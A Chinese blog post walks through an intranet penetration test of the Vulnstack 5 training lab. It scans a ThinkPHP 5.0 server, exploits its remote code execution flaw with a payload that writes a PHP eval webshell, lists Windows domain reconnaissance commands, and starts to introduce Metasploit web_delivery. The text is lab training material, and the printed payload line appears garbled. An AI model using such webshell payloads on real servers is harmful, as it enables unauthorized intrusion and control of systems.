当前位置:网站首页 > 黑客培训 > 正文

记一次Vulnstack靶场内网渗透(五)

freebuffreebuf 2021-02-18 566 0

本文来源:WHOAMI

20210218183042.png

前言

在上一节 《记一次Vulnstack靶场内网渗透(四)》中,我们玩过了vulnstack 3这个靶场,通过信息收集、Joomla CMS漏洞利用、权限提升、以及域渗透最终拿下了域控并获得域控中的一份重要文件。

在本节中,我测试的靶场是vulnstack 5这个靶场。靶场地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/

“此次靶场虚拟机共用两个,一个外网一个内网,用来练习红队相关内容和方向,主要包括常规信息收集、Web攻防、代码审计、漏洞利用、内网渗透以及域渗透等相关内容学习,此靶场主要用来学习,请大家遵守网络网络安全法。”

文中若有不当之处,还望各位大佬多多点评。

个人博客:https://whoamianony.top/

实验环境搭建

VMware新建网卡VMnet14,选择仅主机模式,并将网段IP设置为192.168.138.0:

image-20210218185303768

然后将Windows 7和Windows 2008绑在这个VMnet14上。除此之外,还需要给Windows 7 新增一个网卡,并设置为桥接模式。最终Windows 7具有两个网卡,分别连通内外网,而Windows 2008只有一个网卡连接,处于内网无法与外网通信。

整个靶场环境大致如下:

20210218200629.png

Windows 7:

Web服务器(使用的是PHPStudy,记得自己手动开一下)

模拟外网IP:192.168.0.101

内网IP:192.168.138.136

Windows Server 2008:

域控制器

内网IP:192.168.138.138

攻击者VPS:

OS:Kali Linux

IP:192.168.0.100

外网渗透

我们首先对目标机Windows 7(192.168.0.101)进行端口扫:

nmap -T4 -sC -sV 192.168.0.101

发现Web服务和Mysql:

20210218194404.png

访问80端口发现是个thinkphp:

20210218194506.png

版本是ThinkPHP V5.0,既然是V5.0,那么我们就可以尝试一下Thinkphp远程命令执行漏洞。

漏洞描述:由于thinkphp对框架中的核心Requests类的method方法提供了表单请求伪造,该功能利用$_POST['_method']来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置$_POST['_method']='__construct'而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。

报错查看详细版本:

image-20210218195246787

使用kali的searchsploit查找一下漏洞利用POC:

searchsploit thinkphp

20210218200703.png

发现最后一个是thinkphp5.X版本的RCE,我们进入该漏洞的文件46150.txt:

cd /usr/share/exploitdb/exploits/php/webapps
cat 46150.txt

20210218195419.png

payload:

http://192.168.0.101/?s=index/\think\app/invokefunction?php @eval($_POST[whoami]);?>" > shell.php

写入成功:

20210218200654.png

连接蚁剑:

20210218200526.png

攻入内网

内网信息收集

接下来要做的就是信息收集了,详细的内网信息收集请看我的另一篇文章《内网渗透测试:信息收集与上传下载》,这里我们只做几个有用的信息收集。

ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
whoami          # 查看当前用户
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享

net config workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators   # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "domain controllers" /domain  # 查看域控制器(可能有多台)

20210218201141.png

20210218201542.png

当前用户直接就是administrator管理员账户。目标主机所在的网络环境还存在一个192.168.138.0的网段,并且存在一个名为“sun”的域环境。但是当前我们获得的用户权限却不能收集域信息,所以我们得给这台主机(Windows 7)上一个meterpreter并伪造一个权限较低的用户的令牌然后再来尝试收集域信息。

这里我们使用metasploit的web_delivery模块:

Metasploit的Web Delivery Script是一个多功能模块,可在托管有效负载的攻击机器上创建服务器。当受害者连接到攻击服务器时,负载将在受害者机器上执行。此漏洞需要一种在受害机器上执行命令的方法。特别是你必须能够从受害者到达攻击机器。远程命令执行是使用此模块的攻击向量的一个很好的例子。Web Delivery脚本适用于php,python和基于PowerShell的应用程序。详情请看:

转载请注明来自网盾网络安全培训,本文标题:《记一次Vulnstack靶场内网渗透(五)》

标签:渗透测试内网渗透内网安全渗透测试内网安全攻防靶场实战

关于我

欢迎关注微信公众号

关于我们

网络安全培训,黑客培训,渗透培训,ctf,攻防

标签列表